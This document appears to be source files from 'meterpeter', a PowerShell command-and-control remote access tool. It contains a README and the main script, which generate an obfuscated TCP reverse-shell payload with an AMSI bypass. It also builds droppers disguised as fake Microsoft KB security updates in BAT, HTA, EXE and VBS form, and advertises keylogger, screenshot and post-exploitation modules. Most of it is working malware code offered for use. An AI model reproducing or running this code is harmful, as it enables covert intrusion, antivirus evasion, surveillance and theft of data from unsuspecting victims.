$configFileForEXE3 = "<?xml version=""1.0"" encoding=""utf-8"" ?>`r`n<configuration><startup><supportedRuntime version=""v4.0"" sku="".NETFramework,Version=v4.0"" /></startup></configuration>"

if ($longPaths)
{
	$configFileForEXE3 = "<?xml version=""1.0"" encoding=""utf-8"" ?>`r`n<configuration><startup><supportedRuntime version=""v4.0"" sku="".NETFramework,Version=v4.0"" /></startup><runtime><AppContextSwitchOverrides value=""Switch.System.IO.UseLegacyPathHandling=false;Switch.System.IO.BlockLongPaths=false"" /></runtime></configuration>"
}

#Write-Output "Compiling file..."
$cr = $cop.CompileAssemblyFromSource($cp, $programFrame)
if ($cr.Errors.Count -gt 0)
{
	if (Test-Path $outputFile)
	{
		Remove-Item $outputFile -Verbose:$FALSE
	}
	Write-Error -ErrorAction Continue "Could not create the PowerShell .exe file because of compilation errors. Use -verbose parameter to see details."
	$cr.Errors | ForEach-Object { Write-Verbose $_ -Verbose:$verbose}
}
else
{
	if (Test-Path $outputFile)
	{
        If($outputFile -match 'meterpeter'){$parsingPath = $outputFile -replace '\\PS2EXE',''}else{$parsingPath = $outputFile}
		Write-Output "   Output file => $parsingPath `n`n"

		if ($debug)
		{
			$cr.TempFiles | Where-Object { $_ -ilike "*.cs" } | Select-Object -First 1 | ForEach-Object {
				$dstSrc = ([System.IO.Path]::Combine([System.IO.Path]::GetDirectoryName($outputFile), [System.IO.Path]::GetFileNameWithoutExtension($outputFile)+".cs"))
				Write-Output "Source file name for debug copied: $($dstSrc)"
				Copy-Item -Path $_ -Destination $dstSrc -Force
			}
			$cr.TempFiles | Remove-Item -Verbose:$FALSE -Force -ErrorAction SilentlyContinue
		}
		if ($CFGFILE)
		{
			if ($runtime20)
			{
				$configFileForEXE2 | Set-Content ($outputFile+".config") -Encoding UTF8
			}
			if ($runtime40)
			{
				$configFileForEXE3 | Set-Content ($outputFile+".config") -Encoding UTF8
			}
			Write-Output "Config file for EXE created"
		}
	}
	else
	{
		Write-Error -ErrorAction "Continue" "   Output file => $outputFile not written`n`n"
	}
}

if ($requireAdmin -or $supportOS -or $longPaths)
{ if (Test-Path $($outputFile+".win32manifest"))
	{
		Remove-Item $($outputFile+".win32manifest") -Verbose:$FALSE
	}
}
If(Test-Path "Update-KB4524147.ps1"){Remove-Item -Path "Update-KB4524147.ps1" -Force}


================================================
FILE: README.md
================================================
Author: <b><i>@r00t-3xp10it</i></b><br />
Version release: <b><i>v2.10.14</i></b><br />
Distros Supported: <b><i>Windows (x86|x64), Linux</i></b><br />
Inspired in the work of: ['@ZHacker13 - ReverseTCPShell'](https://github.com/ZHacker13/ReverseTCPShell)<br /><br />
![banner](https://user-images.githubusercontent.com/23490060/163636021-4351eca6-b66b-4817-b4b9-182a66070584.png)<br />

[![Version](https://img.shields.io/badge/meterpeter-v2.10.14-brightgreen.svg?maxAge=259200)]()
[![Stage](https://img.shields.io/badge/Release-Stable-brightgreen.svg)]()
[![Build](https://img.shields.io/badge/OS-Windows,Linux-orange.svg)]()
![licence](https://img.shields.io/badge/license-GPLv3-brightgreen.svg)
![Last Commit](https://img.shields.io/github/last-commit/r00t-3xp10it/meterpeter)
![isues](https://img.shields.io/github/issues/r00t-3xp10it/meterpeter)
![Repo Size](https://img.shields.io/github/repo-size/r00t-3xp10it/meterpeter)

<br />

## :octocat: Quick Jump List<br />
- **[Project Description](https://github.com/r00t-3xp10it/meterpeter/blob/master/README.md#octocat-project-description)**<br />
- **[List Of Available Modules](https://gist.github.com/r00t-3xp10it/4b066797ddc99a3fc41195ddfaf4af9b?permalink_comment_id=4133582#gistcomment-4133582)**<br />
- **[Meterpeter C2 Latest Release](https://github.com/r00t-3xp10it/meterpeter/releases/tag/v2.10.14)**<br />
- **[How To - Under Linux Distributions](https://github.com/r00t-3xp10it/meterpeter/blob/master/README.md#attacker-machine-linux-kali)**<br />
- **[How To - Under Windows Distributions](https://github.com/r00t-3xp10it/meterpeter/blob/master/README.md#attacker-machiner-windows-pc)**<br />
- **[Special Thanks|Contributions|Videos](https://github.com/r00t-3xp10it/meterpeter/blob/master/README.md#video-tutorials)**<br />
- **[Please Read my 'WIKI' page for detailed information about each Module](https://github.com/r00t-3xp10it/meterpeter/wiki)**<br />

<br />

## :octocat: Project Description
This PS1 starts a listener Server on a Windows|Linux attacker machine and generates oneliner PS reverse shell payloads obfuscated in BXOR with a random secret key and another layer of Characters/Variables Obfuscation to be executed on the victim machine (The payload will also execute AMSI reflection bypass in current session to evade AMSI detection while working). You can also recive the generated oneliner reverse shell connection via netcat. (in this case you will lose the C2 functionalities like screenshot, upload, download files, Keylogger, AdvInfo, PostExploit, etc)<br /><br />meterpeter payloads/droppers can be executed using User or Administrator Privileges depending of the cenario (executing the Client as Administrator will unlock ALL Server Modules, amsi bypasses, etc.). Droppers mimic a fake KB Security Update while in background download\exec Client in '<b><i>$Env:TMP</i></b>' trusted location, with the intent of evading  Windows Defender Exploit Guard. meterpeter payloads|droppers are FUD (please dont test samples on VirusTotal).<br />

Under Linux users required to install **powershell** and **apache2** webserver, Under Windows its optional the install of **python3** http.server to deliver payloads under LAN networks. If this requirements are **NOT** met, then the Client ( <b><i>Update-KB4524147.ps1</i></b> ) will be written in meterpeter working directory for manual deliver.
![oki1](https://user-images.githubusercontent.com/23490060/135849854-575d3dcd-21c5-44a1-96fe-3684d586c128.png)<br />

<br />

**[Quick Jump List](https://github.com/r00t-3xp10it/meterpeter/blob/master/README.md#octocat-quick-jump-list)**<br />


---

<br /><br />

### ATTACKER MACHINE: [Linux Kali]
      Warning: powershell under linux distributions its only available for x64 bits archs ..
![linux](https://user-images.githubusercontent.com/23490060/74575258-26951700-4f7e-11ea-832c-512dce1c97cc.png)

<br />

#### Install Powershell (Linux x64 bits)
```
apt-get update && apt-get install -y powershell
```

#### Install Apache2
```
apt-get install Apache2
```

#### Start Apache2 WebServer
```
service apache2 start
```

#### Start C2 Server (Local)
```
cd meterpeter
pwsh -File meterpeter.ps1
```

#### Deliver Dropper/Payload To Target Machine (apache2)
```
USE THE 'Attack Vector URL' TO DELIVER 'Update-KB4524147.zip' (dropper) TO TARGET ..
UNZIP (IN DESKTOP) AND EXECUTE 'Update-KB4524147.bat' (Run As Administrator)..
```

#### Remark:

     IF dropper.bat its executed: Then the Client will use $env:tmp has its working directory ('recomended')..
     IF Attacker decided to manualy execute Client: Then Client remote location (pwd) will be used has working dir .


**[Quick Jump List](https://github.com/r00t-3xp10it/meterpeter/blob/master/README.md#octocat-quick-jump-list)**<br />

---

<br /><br />

### ATTACKER MACHINER: [Windows PC]
![frd](https://user-images.githubusercontent.com/23490060/74575907-b76cf200-4f80-11ea-8f44-ddd79fbd812f.png)

<br />

#### Install Python3 (optional)
Install Python3 (http.Server) to deliver payloads under LAN networks ..<br />
```
https://www.python.org/downloads/release/python-381/
```

Check if python **http.server** its installed<br />
```
$Local_Host = ((ipconfig | findstr [0-9].\.)[0]).Split()[-1]
python -m http.server 8080 --bind $Local_Host
CTRL+C # Exit webserver console
```


#### Start C2 Server (Local)
```
cd meterpeter
powershell Set-ExecutionPolicy Unrestricted -Scope CurrentUser
powershell -File meterpeter.ps1
```

**Remark**
- meterpeter.ps1 delivers Dropper/Payload using python3 http.server. IF attacker has python3 installed.<br />
  **'If NOT then the payload (Client) its written in Server Local [Working Directory](https://github.com/r00t-3xp10it/meterpeter/wiki/How-To-Display%7CChange-'Client'-Working-Directory) to be Manualy Deliver'** ..

- Remmnenber to close the http.server terminal after the target have recived the two files (Dropper & Client)<br />
  **'And we have recived the connection in our meterpeter Server { to prevent Server|Client connection errors }'**<br /><br />

#### Deliver Dropper/Payload To Target Machine (manual OR python3)
```
DELIVER 'Update-KB4524147' (.ps1=manual) OR (.zip=automated|silentExec) TO TARGET ..
```

#### Remark:

     IF dropper.bat its executed: Then the Client will use $env:tmp has its working directory ('recomended')..
     IF Attacker decided to manualy execute Client: Then Client remote location (pwd) will be used has working dir .

**[Quick Jump List](https://github.com/r00t-3xp10it/meterpeter/blob/master/README.md#octocat-quick-jump-list)**<br />

---

<br />

### Video Tutorials:
meterpeter Under Windows Distros: https://www.youtube.com/watch?v=d2npuCXsMvE<br />
meterpeter Under Linux Distros: https://www.youtube.com/watch?v=CmMbWmN246E<br /><br />

### Special Thanks:
**@ZHacker13** (Original Rev Shell) | **@tedburke** (CommandCam.exe binary)<br />
**@codings9** (debugging modules) | @ShantyDamayanti (debugging Modules)<br />
**@AHLASaad** (debugging Modules) | **@gtworek** (EnableAllParentPrivileges)<br /><br />
- **[meterpeter WIKI pages (Oficial Documentation)](https://github.com/r00t-3xp10it/meterpeter/wiki)**<br />
- **[Jump To Top of this readme File](https://github.com/r00t-3xp10it/meterpeter/blob/master/README.md#octocat-quick-jump-list)**<br />
---

<br />


================================================
FILE: meterpeter.ps1
================================================
##
#   Author: @r00t-3xp10it (ssa redteam)
#   Tested Under: Windows 10 (19044) x64 bits
#   Required Dependencies: Invoke-WebRequest
#   Optional Dependencies: BitsTransfer|Python
#   PS cmdlet Dev version: V2.10.14
#   PS cmdlet sub version: V2.10.14.0
#   GitHub: https://github.com/r00t-3xp10it/meterpeter/releases
##

$SserverTime = Get-Date -Format "dd/MM/yyyy HH:mm:ss"
$HTTP_PORT = "8087"                 # Python http.server LPort (optional)
$CmdLetVersion = "2.10.14"          # meterpeter C2 version (dont change)
$DeveloVersion = "2.10.14.0"        # meterpeter C2 dev version (dont change)
$payload_name = "Update-KB5005101"  # Client-payload filename (dont change)
$Dropper_Name = "Update-KB5005101"  # Payload-dropp`er filename (optional)
$Acdst = "rem#ote ac#ce#ss" -replace '#',''
$Acdts = "ob#fus#cat#ed" -replace '#',''

$EndBanner = @"

  __  __  ____  _____  ____  ____  ____  ____  _____  ____  ____ 
 |  \/  || ===||_   _|| ===|| () )| ()_)| ===||_   _|| ===|| () )
 |_|\/|_||____|  |_|  |____||_|\_\|_|   |____|  |_|  |____||_|\_\
 Author: @ZHacker13 &('r00t-3xp10it') - SSA_redteam @2023 V${CmdLetVersion}
 Date: $SserverTime - Cmdlet subdevelop version: $DeveloVersion
"@;

$StartBanner = @"

  __  __  ____  _____  ____  ____  ____  ____  _____  ____  ____ 
 |  \/  || ===||_   _|| ===|| () )| ()_)| ===||_   _|| ===|| () )
 |_|\/|_||____|  |_|  |____||_|\_\|_|   |____|  |_|  |____||_|\_\
 Author: @ZHacker13 &('r00t-3xp10it') - SSA_redteam @2023 V${CmdLetVersion}

 Meterpeter its a command & control (C2) $Acdst tool (rat)
 written in pure powershell released to windows (python3 required)
 or to linux (powershell and apache2 required) distros. It creates
 reverse_tcp_shell payloads (pure powershell + sockets) $Acdts
 in BXOR using a secret key and also creates one dropper file that
 allow users to fast deliver the payload on LAN networks for tests.
"@;

$Modules = @"

  __  __  ____  _____  ____  ____  ____  ____  _____  ____  ____ 
 |  \/  || ===||_   _|| ===|| () )| ()_)| ===||_   _|| ===|| () )
 |_|\/|_||____|  |_|  |____||_|\_\|_|   |____|  |_|  |____||_|\_\
 Author: @ZHacker13 &('r00t-3xp10it') - SSA_redteam @2023 V${CmdLetVersion}


  Command      Description
  -------      ------------------------------
  Info         Remote host system information
  Session      Meterpeter C2 connection status
  AdvInfo      Advanced system information sub-menu
  Upload       Upload from local host to remote host
  Download     Download from remote host to local host
  Screenshot   Capture remote host desktop screenshots
  keylogger    Install remote host keyloggers sub-menu
  PostExploit  Post Exploitation modules sub-menu
  NetScanner   Local LAN network scanner sub-menu
  Pranks       Prank remote host modules sub-menu
  exit         Exit rev_tcp_shell [server+client]


"@;


try{#Check http.server
   $MyServer = python -V
   If(-not($MyServer) -or $MyServer -eq $null)
   {
      $strMsg = "Warning: python (http.server) not found in current system." + "`n" + "  'Install python (http.server) to deliver payloads on LAN'.."
      powershell (New-Object -ComObject Wscript.Shell).Popup($strMsg,10,'Deliver Meterpeter payloads on LAN',0+48)|Out-Null
   }
   Else
   {
      $PInterpreter = "python"
   }
}Catch{
   powershell (New-Object -ComObject Wscript.Shell).Popup("python interpreter not found ...",6,'Deliver Meterpeter payloads on LAN',0+48)|Out-Null
}


function Char_Obf($String){

  $String = $String.toCharArray();  
  ForEach($Letter in $String)
  {
    $RandomNumber = (1..2) | Get-Random;
    
    If($RandomNumber -eq "1")
    {
      $Letter = "$Letter".ToLower();
    }

    If($RandomNumber -eq "2")
    {
      $Letter = "$Letter".ToUpper();
    }

    $RandomString += $Letter;
    $RandomNumber = $Null;
  }
  
  $String = $RandomString;
  Return $String;
}

function msaudite($String){

  $finalcmdline = "ASC" + "II" -join ''
  $PowerShell = "I`E`X(-Jo" + "in((@)|%{[char](`$_-BX" + "OR #)}));Exit" -join ''
  $Key = '0x' + ((0..5) | Get-Random) + ((0..9) + ((65..70) + (97..102) | % {[char]$_}) | Get-Random);Start-Sleep -Milliseconds 30
  (  '!'|%  {${~ }=  +$()}{  ${ /'}=${~ }}  {${) }  =  ++  ${~ }}{  ${;.*}=(  ${~ }=${~ }+  ${) })  }{  ${)#+}  =(${~ }  =  ${~ }  +  ${) }  )}  {  ${~(}=(${~ }=  ${~ }  +  ${) }  )  }{  ${*-}=  (${~ }  =${~ }+${) })}{${()``}=(${~ }=  ${~ }  +  ${) }  )}  {${]/!}=  (  ${~ }  =  ${~ }  +  ${) })}  {${# }  =  (${~ }  =  ${~ }+  ${) }  )  }{${*;}  =  (${~ }=  ${~ }+  ${) }  )}  {${/}  ="["+  "$(@{  })"[  ${]/!}  ]+  "$(@{  })"["${) }${*;}"]+  "$(  @{  }  )"[  "${;.*}${ /'}"]+"$?  "[  ${) }  ]  +  "]"  }{${~ }  =  "".("$(@{})  "["${) }${~(}"  ]+"$(  @{  })  "["${) }${()``}"]+"$(  @{  })  "[  ${ /'}]  +  "$(  @{  }  )"[  ${~(}  ]+  "$?  "[  ${) }]+  "$(@{  }  )"[${)#+}]  )  }  {  ${~ }="$(@{})"[  "${) }${~(}"]  +"$(@{  })"[  ${~(}  ]+  "${~ }"[  "${;.*}${]/!}"  ]  }  )  ;  .${~ }(  "  ${/}${)#+}${()``}+  ${/}${# }${)#+}+  ${/}${) }${) }${()``}+${/}${) }${) }${~(}  +${/}${) }${ /'}${*-}+${/}${) }${) }${ /'}  +  ${/}${) }${ /'}${)#+}  +${/}${)#+}${;.*}  +  ${/}${()``}${) }+  ${/}${)#+}${;.*}  +${/}${)#+}${()``}+  ${/}${~(}${ /'}  +  ${/}${*;}${) }+${/}${# }${)#+}  +  ${/}${) }${;.*}${) }+  ${/}${) }${) }${*-}+${/}${) }${) }${()``}  +  ${/}${) }${ /'}${) }+  ${/}${) }${ /'}${*;}+${/}${~(}${()``}  +  ${/}${# }${~(}+${/}${) }${ /'}${) }+  ${/}${) }${;.*}${ /'}+${/}${) }${) }${()``}+${/}${~(}${()``}  +${/}${()``}${*;}  +${/}${) }${) }${ /'}  +  ${/}${*;}${*;}  +  ${/}${) }${) }${) }  +  ${/}${) }${ /'}${ /'}  +${/}${) }${ /'}${*-}  +${/}${) }${) }${ /'}+  ${/}${) }${ /'}${)#+}+  ${/}${*;}${)#+}+  ${/}${*-}${# }+${/}${*-}${# }  +  ${/}${)#+}${()``}+  ${/}${) }${ /'}${;.*}  +  ${/}${) }${ /'}${*-}  +  ${/}${) }${) }${ /'}  +  ${/}${*;}${]/!}  +${/}${) }${ /'}${# }  +${/}${*;}${*;}+${/}${) }${ /'}${*;}  +  ${/}${) }${ /'}${ /'}+  ${/}${) }${ /'}${# }+${/}${) }${ /'}${*-}+${/}${) }${) }${ /'}  +${/}${) }${ /'}${) }+  ${/}${~(}${()``}+  ${/}${]/!}${) }+  ${/}${) }${ /'}${) }+${/}${) }${) }${()``}+${/}${()``}${()``}  +  ${/}${) }${;.*}${) }  +  ${/}${) }${) }${()``}+  ${/}${) }${ /'}${) }+  ${/}${) }${) }${*-}+  ${/}${~(}${ /'}  +${/}${)#+}${()``}+${/}${# }${)#+}  +${/}${) }${) }${()``}  +${/}${) }${) }${~(}  +  ${/}${) }${ /'}${*-}+${/}${) }${) }${ /'}  +  ${/}${) }${ /'}${)#+}+${/}${~(}${) }+  ${/}${) }${;.*}${~(}+  ${/}${)#+}${]/!}+${/}${) }${;.*}${)#+}  +${/}${)#+}${()``}+  ${/}${*;}${*-}+  ${/}${)#+}${;.*}+${/}${~(}${*-}  +${/}${()``}${()``}  +${/}${# }${# }  +${/}${]/!}${*;}  +  ${/}${# }${;.*}+${/}${)#+}${;.*}  +${/}${)#+}${()``}  +${/}${]/!}${*-}  +  ${/}${) }${ /'}${) }+${/}${) }${;.*}${) }  +  ${/}${) }${;.*}${*-}  +  ${/}${~(}${) }+  ${/}${)#+}${;.*}  +  ${/}${~(}${*-}  +${/}${) }${ /'}${()``}  +${/}${) }${) }${) }  +  ${/}${) }${ /'}${*-}+  ${/}${) }${) }${ /'}  +  ${/}${)#+}${;.*}+  ${/}${)#+}${*;}+${/}${~(}${~(}+${/}${)#+}${*;}|${~ }")
  
  $PowerShell = Char_Obf($PowerShell);$PowerShell = $PowerShell -replace "@","$String";$PowerShell = $PowerShell -replace "#","$Key";
  $CMD = "hello world";$CMD = Char_Obf($CMD);$CMD = $CMD -replace "@","$String";$CMD = $CMD -replace "#","$Key";

  Return $PowerShell,$CMD;
}

function ChkDskInternalFuncio($String){

  $RandomVariable = (0..99);
  For($i = 0; $i -lt $RandomVariable.count; $i++){

    $Temp = (-Join ((65..90) + (97..122) | Get-Random -Count 5 | % {[char]$_}));

    While($RandomVariable -like "$Temp"){
      $Temp = (-Join ((65..90) + (97..122) | Get-Random -Count 5 | % {[char]$_}));
    }

    $RandomVariable[$i] = $Temp;
    $Temp = $Null;
  }

  $RandomString = $String;

  For($x = $RandomVariable.count; $x -ge 1; $x--){
  	$Temp = $RandomVariable[$x-1];
    $RandomString = "$RandomString" -replace "\`$$x", "`$$Temp";
  }

  $String = $RandomString;
  Return $String;
}

function NetworkStats($IP,$Port,$Base64_Key){

  [int]$Signature = Get-Random -Minimum 1 -Maximum 3
  $dadoninho = "Fr`omB" + "ase`6" + "4Str`ing" -Join ''
  $deskmondll = "`$mscorelib='1'+'024' -Join '';`$MicrosoftAccountCloudAP='Cre'+'ateIn'+'stance' -join '';powershell (New-Object -ComObject Wscript.Shell).Popup('Security update installed.',$Signature,'KB5005101 21H1',0+0);`$3=`"#`";`$1=[System.Byte[]]::`$MicrosoftAccountCloudAP([System.Byte],`$mscorelib);Get-Date|Out-File bios.log;`$filemgmtdll='FromB'+'ase6'+'4String' -Join '';`$2=([Convert]::`$filemgmtdll(`"@`"));`$4=I``E``X([System.Runtime.Int"+"eropServices.Marshal]::PtrToStr"+"ingAuto([System.Runtime.InteropSe"+"rvices.Marshal]::SecureStringToBSTR((`$3|ConvertTo-SecureString -Key `$2))));While(`$5=`$4.GetStream()){;While(`$5.DataAvailable -or `$6 -eq `$1.count){;`$6=`$5.Read(`$1,0,`$1.length);`$7+=(New-Object -TypeName System.Text.ASCIIEncoding).GetString(`$1,0,`$6)};If(`$7){;`$8=(I``E``X(`$7)2>&1|Out-String);If(!(`$8.length%`$1.count)){;`$8+=`" `"};`$9=([text.encoding]::ASCII).GetBytes(`$8);`$5.Write(`$9,0,`$9.length);`$5.Flush();`$7=`$Null}}";

  $Key = $([System.Convert]::$dadoninho($Base64_Key))
  #$NewKey = (3,4,2,3,56,34,254,222,1,1,2,23,42,54,33,233,1,34,2,7,6,5,35,43)
  $C2 = ConvertTo-SecureString "New-Object System.Net.Sockets.TCPClient('$IP','$Port')" -AsPlainText -Force | ConvertFrom-SecureString -Key $Key;

  $deskmondll = ChkDskInternalFuncio(Char_Obf($deskmondll));
  $deskmondll = $deskmondll -replace "@","$Base64_Key";
  $deskmondll = $deskmondll -replace "#","$C2";

  Return $deskmondll;
}

Clear-Host;
Write-Host $StartBanner
write-host "     * GitHub: https://github.com/r00t-3xp10it/meterpeter *`n`n" -ForegroundColor DarkYellow
$DISTRO_OS = pwd|Select-String -Pattern "/" -SimpleMatch; # <-- (check IF windows|Linux Separator)
If($DISTRO_OS)
{
   ## Linux Distro
   $IPATH = "$pwd/"
   $Flavor = "Linux"
   $Bin = "$pwd/mimiRatz/"
   $APACHE = "/var/www/html/"
}Else{
   ## Windows Distro
   $IPATH = "$pwd\"
   $Flavor = "Windows"
   $Bin = "$pwd\mimiRatz\"
   $APACHE = "$env:LocalAppData\webroot\"
}

$Obfuscation = $null
## User Input Land ..
Write-Host "Input Local Host: " -NoNewline;
$LHOST = Read-Host;
$Local_Host = $LHOST -replace " ","";
Write-Host "Input Local Port: " -NoNewline;
$LPORT = Read-Host;
$Local_Port = $LPORT -replace " ","";

## Default settings
If(-not($Local_Port)){$Local_Port = "666"};
If(-not($Local_Host)){
   If($DISTRO_OS){
      ## Linux Flavor
      $Local_Host = ((ifconfig | grep [0-9].\.)[0]).Split()[-1]
   }else{
      ## Windows Flavor
      $Local_Host = ((ipconfig | findstr [0-9].\.)[0]).Split()[-1]
   }
}

If($Flavor -ieq "Windows")
{
   Write-Host "`n`n* Payload dropper format sellection!" -ForegroundColor Black -BackgroundColor Gray
   Write-Host "Id DropperFileName        Format  AVDetection  UacElevation  PsExecutionBypass" -ForegroundColor Green
   Write-Host "-- --------------------   ------  -----------  ------------  -----------------"
   Write-Host "1  Update-KB5005101.bat   BAT     Undetected   optional      true"
   Write-Host "2  Update-KB5005101.hta   HTA     Undetected   false         true"
   Write-Host "3  Update-KB5005101.exe   EXE     Undetected   optional      true" -ForegroundColor Yellow
   Write-Host "4  Update-KB5005101.vbs   VBS     Undetected   optional      true" -ForegroundColor DarkGray
   $FlavorSellection = Read-Host "Id"
}
ElseIf($Flavor -ieq "Linux")
{
   Write-Host "`n`n* Payload dropper format sellection!" -ForegroundColor Black -BackgroundColor Gray
   Write-Host "Id DropperFileName       Format  AVDetection  UacElevation  PsExecutionBypass" -ForegroundColor Green
   Write-Host "-- --------------------  ------  -----------  ------------  -----------------"
   Write-Host "1  Update-KB5005101.bat  BAT     Undetected   optional      true"
   Write-Host "2  Update-KB5005101.hta  HTA     Undetected   false         true"
   $FlavorSellection = Read-Host "Id"
}
## End Of venom Function ..


$viriatoshepard = ("T@oB@a" + "s@e6@4St@" + "r@i@n@g" -join '') -replace '@',''
$Key = (1..32 | % {[byte](Get-Random -Minimum 0 -Maximum 255)});
$Base64_Key = $([System.Convert]::$viriatoshepard($Key));

Write-Host "`n[*] Generating Payload ✔";
$deskmondll = NetworkStats -IP $Local_Host -Port $Local_Port -Base64_Key $Base64_Key;

Write-Host "[*] Obfuscation Type: BXOR ✔"
$deskmondll = msaudite($deskmondll);

Clear-Host;
Write-Host $StartBanner
write-host "      * GitHub: https://github.com/r00t-3xp10it/meterpeter *`n`n" -ForegroundColor DarkYellow
Write-Host " - Payload    : $payload_name.ps1"
Write-Host " - Local Host : $Local_Host"
Write-Host " - Local Port : $Local_Port"
Start-Sleep -Milliseconds 800

$PowerShell_Payload = $deskmondll[0];
$CMD_Payload = $deskmondll[1];

Write-Host "`n[*] PowerShell Payload:`n"
Write-Host "$PowerShell_Payload" -ForeGroundColor black -BackGroundColor white


write-host "`n`n"
$My_Output = "$PowerShell_Payload" | Out-File -FilePath $IPATH$payload_name.ps1 -Force;

## Better obfu`scated IE`X system call
$ttl = ("I" + "@_`X" -Join '') -replace '@_','E'
#((Get-Content -Path $IPATH$payload_name.ps1 -Raw) -Replace "$ttl","Get-Date -Format 'HH:mm:ss'|Out-File bios.log;&(''.SubString.ToString()[67,72,64]-Join'')")|Set-Content -Path $IPATH$payload_name.ps1
((Get-Content -Path $IPATH$payload_name.ps1 -Raw) -Replace "$ttl","&('REX' -replace 'R','I')")|Set-Content -Path $IPATH$payload_name.ps1


$Server_port = "$Local_Host"+":"+"$HTTP_PORT";
$check = Test-Path -Path "/var/www/html/";
If($check -ieq $False)
{

   try{
     #Check Attacker http.server
     python -V > $Env:TMP\ff.log
     $Python_version = (Get-Content "$Env:TMP\ff.log" -ErrorAction SilentlyContinue)
     Remove-Item -Path "$Env:TMP\ff.log" -Force -ErrorAction SilentlyContinue
   }Catch{}

  If(-not([string]::IsNullOrEmpty($Python_version)))
  {
    $Webroot_test = Test-Path -Path "$env:LocalAppData\webroot\";
    If($Webroot_test -ieq $True){cmd /R rmdir /Q /S "%LocalAppData%\webroot\";mkdir $APACHE|Out-Null}else{mkdir $APACHE|Out-Null};
    ## Attacker: Windows - with python3 installed
    # Deliver Dro`pper.zip using python http.server
    write-Host "   WebServer    Client                Dropper               WebRoot" -ForegroundColor Green;
    write-Host "   ---------    ------                -------               -------";
    write-Host "   Python3      Update-KB5005101.ps1  Update-KB5005101.zip  $APACHE";write-host "`n`n";
    Copy-Item -Path $IPATH$payload_name.ps1 -Destination $APACHE$payload_name.ps1 -Force

    If($FlavorSellection -eq 2)
    {
    
       <#
       .SYNOPSIS
          Author: @r00t-3xp10it
          Helper - meterpeter payload HTA drop`per application
       #>

       cd $Bin
       #delete old files left behind by previous executions
       If(Test-Path -Path "$Dropper_Name.hta" -EA SilentlyContinue)
       {
          Remove-Item -Path "$Dropper_Name.hta" -Force
       }

       #Make sure HTA template exists before go any further
       If(-not(Test-Path -Path "Update.hta" -EA SilentlyContinue))
       {
          Write-Host "ERROR: file '${Bin}Update.hta' not found ..." -ForeGroundColor Red -BackGroundColor Black
          Write-Host "`n";exit #Exit @Meterpeter
       }
 
       #Replace the  server ip addr + port on HTA template
       ((Get-Content -Path "Update.hta" -Raw) -Replace "CharlieBrown","$Server_port")|Set-Content -Path "Update.hta"

       #Embebed meterpter icon on HTA application?
       #iwr -Uri "https://raw.githubusercontent.com/r00t-3xp10it/meterpeter/master/mimiRatz/theme/meterpeter.ico" -OutFile "meterpeter.ico"|Out-Null
       #Start-Process -WindowStyle hidden cmd.exe -ArgumentList "/R COPY /B meterpeter.ico+Update.hta $Dropper_Name.hta" -Wait

       Copy-Item -Path "Update.hta" -Destination "$Dropper_Name.hta" -Force
       #Compress HTA application and port the ZIP archive to 'webroot' directory!
       Compress-Archive -LiteralPath "$Dropper_Name.hta" -DestinationPath "${APACHE}${Dropper_Name}.zip" -Force

       #Revert original HTA to default to be used again
       ((Get-Content -Path "Update.hta" -Raw) -Replace "$Server_port","CharlieBrown")|Set-Content -Path "Update.hta"

       #Delete artifacts left behind
       #Remove-Item -Path "meterpeter.ico" -EA SilentlyContinue -Force
       Remove-Item -Path "$Dropper_Name.hta" -EA SilentlyContinue -Force

       #return to meterpeter working directory (meterpeter)
       cd $IPATH
    
    }
    ElseIf($FlavorSellection -eq 3)
    {
    
       <#
       .SYNOPSIS
          Author: @r00t-3xp10it
          Helper - meterpeter payload EXE dro`pper application
       #>

       cd $Bin
       $Dropper_Bat = "Update.ps1"
       $Dropper_Exe = "Update-KB5005101.exe"
       ((Get-Content -Path "$Dropper_Bat" -Raw) -Replace "CharlieBrown","$Server_port")|Set-Content -Path "$Dropper_Bat"

       #Download the required files from my GITHUB meterpeter repository!
       iwr -Uri "https://raw.githubusercontent.com/r00t-3xp10it/meterpeter/master/PS2EXE/ps2exe.ps1" -OutFile "ps2exe.ps1"|Out-Null
       iwr -Uri "https://raw.githubusercontent.com/r00t-3xp10it/meterpeter/master/PS2EXE/meterpeter.ico" -OutFile "meterpeter.ico"|Out-Null

       $RunEXElevated = Read-Host "[i] Make dropper spawn UAC dialog to run elevated? (y|n)"
       If($RunEXElevated -iMatch '^(y|yes)$')
       {
          .\ps2exe.ps1 -inputFile "$Dropper_Bat" -outputFile "$Dropper_Exe" -iconFile "meterpeter.ico" -title "Secure KB Update" -version "45.19041.692.2" -copyright "©Microsoft Corporation. All Rights Reserved" -product "KB5005101" -noError -noConsole -requireAdmin|Out-Null
          Start-Sleep -Seconds 2
       }
       Else
       {
          .\ps2exe.ps1 -inputFile "$Dropper_Bat" -outputFile "$Dropper_Exe" -iconFile "meterpeter.ico" -title "Secure KB Update" -version "45.19041.692.2" -copyright "©Microsoft Corporation. All Rights Reserved" -product "KB5005101" -noError -noConsole|Out-Null
          Start-Sleep -Seconds 2
       }

       #Compress EXE executable and port the ZIP archive to 'webroot' directory!
       Compress-Archive -LiteralPath "$Dropper_Exe" -DestinationPath "$APACHE$Dropper_Name.zip" -Force

       #Revert meterpeter EXE template to default state, after successfully created\compressed the binary drop`per (PE)
       ((Get-Content -Path "$Dropper_Bat" -Raw) -Replace "$Server_port","CharlieBrown")|Set-Content -Path "$Dropper_Bat"

       #Clean all artifacts left behind by this function!
       Remove-Item -Path "meterpeter.ico" -EA SilentlyContinue -Force
       Remove-Item -Path "$Dropper_Exe" -EA SilentlyContinue -Force
       Remove-Item -Path "ps2exe.ps1" -EA SilentlyContinue -Force
       cd $IPATH
    
    }
    ElseIf($FlavorSellection -eq 4)
    {
    
       <#
       .SYNOPSIS
          Author: @r00t-3xp10it
          Helper - meterpeter payload VBS drop`per application

       .NOTES
          This function accepts ip addresses from 11 to 14 chars (local)
          example: 192.168.1.1 (11 chars) to 192.168.101.122 (15 chars)

          The 'auto-elevation' function requires UAC enabled and ru`nas.
       #>

       If(-not(Test-Path -Path "$IPATH\Download_Crandle.vbs" -EA SilentlyContinue))
       {
          ## Download crandle_builder.ps1 from my GitHub repository
          iwr -uri "https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/utils/crandle_builder.ps1" -OutFile "crandle_builder.ps1"|Unblock-File
       }

       #Evasion\Obfusca`tion
       $NumberOfChars = $Local_Host.length
       $SeconRange = $Server_port[5,6,7,8] -join ''                         # 68.1
       $FirstRange = $Server_port[0,1,2,3,4] -join ''                       # 192.1
       If($NumberOfChars -eq 11)
       {
          #Example: 192.168.1.7 + :8087 = 15 chars
          $trithRange = $Server_port[9,10,11,12,13,14,15] -join ''
       }
